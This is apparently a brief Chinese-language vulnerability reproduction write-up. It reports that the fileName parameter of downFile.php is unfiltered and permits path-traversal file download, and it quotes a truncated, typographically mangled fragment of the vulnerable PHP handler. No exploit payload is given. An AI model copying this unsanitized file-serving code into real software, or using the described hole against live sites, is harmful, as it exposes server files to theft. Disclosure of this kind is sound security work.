## 漏洞复现

漏洞文件为 **downFile.php**, 其中 **参数 fileName** 没有过滤危险字符，导致可文件遍历下载

“`php
alert(“文件不存在!”);window.history.back(-1);‘;
exit();

}else{
$file = fopen($file_dir . $file_name,”r”); // 打开文件
// 输入文件标签
Header(“Content-type: application/octet-stream”);
Header(“Accept-Ranges: bytes”);
Header(“Accept-Length: “.filesize($file_dir . $file_name));
Header(“Content-Disposition: attachment; filename=” . $file_name);
// 输出文件内容
echo fread($file,filesize($file_dir.$file_name));
fclose($file);
exit();
}
?>
